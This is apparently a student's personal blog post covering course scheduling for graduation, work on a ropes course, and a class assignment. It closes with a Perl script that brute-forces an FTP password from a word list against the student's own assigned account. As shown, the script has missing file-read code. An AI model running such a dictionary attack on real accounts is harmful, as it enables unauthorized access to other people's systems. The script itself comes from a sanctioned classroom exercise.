He emerges from the dark depths of perl…

Well, now that that assignment is out of the way, I can now relax, for the most part. To see what I spent my time doing the last couple weeks, click on the link below.

I spent yesterday out at Ransburg removing the belay back-ups on the COPE Course so that they can be replaced with back-ups that are approved by the ACCT. Since the course was constructed the ACCT has changed their standard on backing up belays and because of this, the backup style that we used was no longer acceptable.

In other news, I met with my advisor the other day to find out what I need to take to graduate at the end of this semester. It turns out that because of what they call an “advising error” I will need to take 20 hours to graduate in May. Since that’s something I really want to do, I don’t mind doing it; however, I can’t. One of the classes I need to have to graduate conflicts with another class that I need to graduate. Accounting, worst subject ever, conflicts with Chemistry, second worst subject ever.

So here are my choices:

  1. I register for a full 17 hours for the spring semester including INFO I451 (Senior Capstone), CHEM C103 (Intro to Chem), INFO I303 (Social Informatics), INFO I310 (Multimedia Arts and Design) and BUS G300 (Intro to Managerial Economics). This summer I take BUS A200 (Accounting) and graduate in August 2005. I would also work with STC throughout the summer, pick up another job somewhere in the university and make a ton of money and only visit camp on the weekends.
  2. I register for 15 hours next semester including INFO I451, INFO I303, INFO I310, CHEM C103 and MUS X420 (Pep Band). This summer, I work at Ransburg, just as in summers before. I come back in the fall, register for six hours BUS W300 (Small Business Management) and BUS A200. Work a ton that semester, search for a job and graduate in December 2005.

I’m leaning toward the first option because I just want to get the heck out of here. Also, if I take the second option, I can start slowly looking for a job somewhere around Bloomington. Stymie and I talked about the attraction that Bloomington has yesterday. Once you move down here, it’s hard to leave. The job market down here is so saturated with students that it’s nearly impossible to find a job. I’m hoping that since I will be looking during the summer, I will have some luck. Either way, I hope to stick around down here, pay off some debt, and then look possibly at grad school for either Education or Outdoor Recreation.

That’s all I care to write about for now. I will be posting more regularly now that that killer assignment is out of the way. I’ll keep you posted hahaha. I know, it was a bad pun, but whatever.

peace out!

tm

The End-of-the-Blog Rundown

Song of the DayHeaven – Los Lonely Boys

Quote of the Last Week – “Null set!”

Hero of the Last Few Days – Will for convincing me to go out on Thursday night on the Adult Swim Pub Crawl as well as for Talking to me on the phone drunk last night.

Villain of the Last Year and a Half – My stupid UDiv Advisor for telling me that my business classes all would count for Informatics… GRRRRR!

Current Mood – Angered

Until the next post…

Assignment 2

Description of assignment: You will be given an account on a unix/linux server,the password
                           of which is a dictionary word. You have to brute force the account to 
                           guess your password and hence be able to log into your account.
                           Your account will have a file which has your grade for this 
			   assignment. The file will say "Your grade is C for assignment 2" 
			   unless you change it to whatever you want it to be. You can brute
			   force into your account through "ssh" or "ftp"

Code I wrote, after teaching myself perl in three days:

#! /usr/bin/perl

use Net::FTP;

$pathToList = "wordlist.txt";
$hostname = "##HOSTADDRESS##";
$ftp = Net::FTP->new($hostname);
$username="tlmason";
$uncracked = 1;

open(WORDLIST, $pathToList);
chomp(@wordlist = );
@wordlist = ;

foreach $word (@wordlist){
        if ($uncracked == 1){
                $ftp = Net::FTP->new($hostname);
                $password = lc($word);
                print "Trying " . $password . "\n";
                $ftp->login($username, $password);
                if($ftp->login($username, $password)){
                        print "Your password is " . $password . "\n";
                        $uncracked = 0;
                        print $ftp->ls(pwd()) . "\n";
                        print "Script Completed Successfully \n";
                }
        $ftp->quit();
        }
}

unless ($uncracked == 0) {
        print "Did not find the password. \n";
}
close(WORDLIST);
#END

And there you have it. This code takes a word list and parses through it word by word, trying each word as the password. Sadly, I wasn’t able to get a word list that was complete enough to include my password.

7 thoughts on “He emerges from the dark depths of perl…

  1. Firefox messes up this site every time, hon. 🙂
    Just a headsup.
    What are you doing next weekend? Girliecrafters need somewhere to do our evil bidding. We’re eyeing Bton… let me know 🙂

Comments are closed.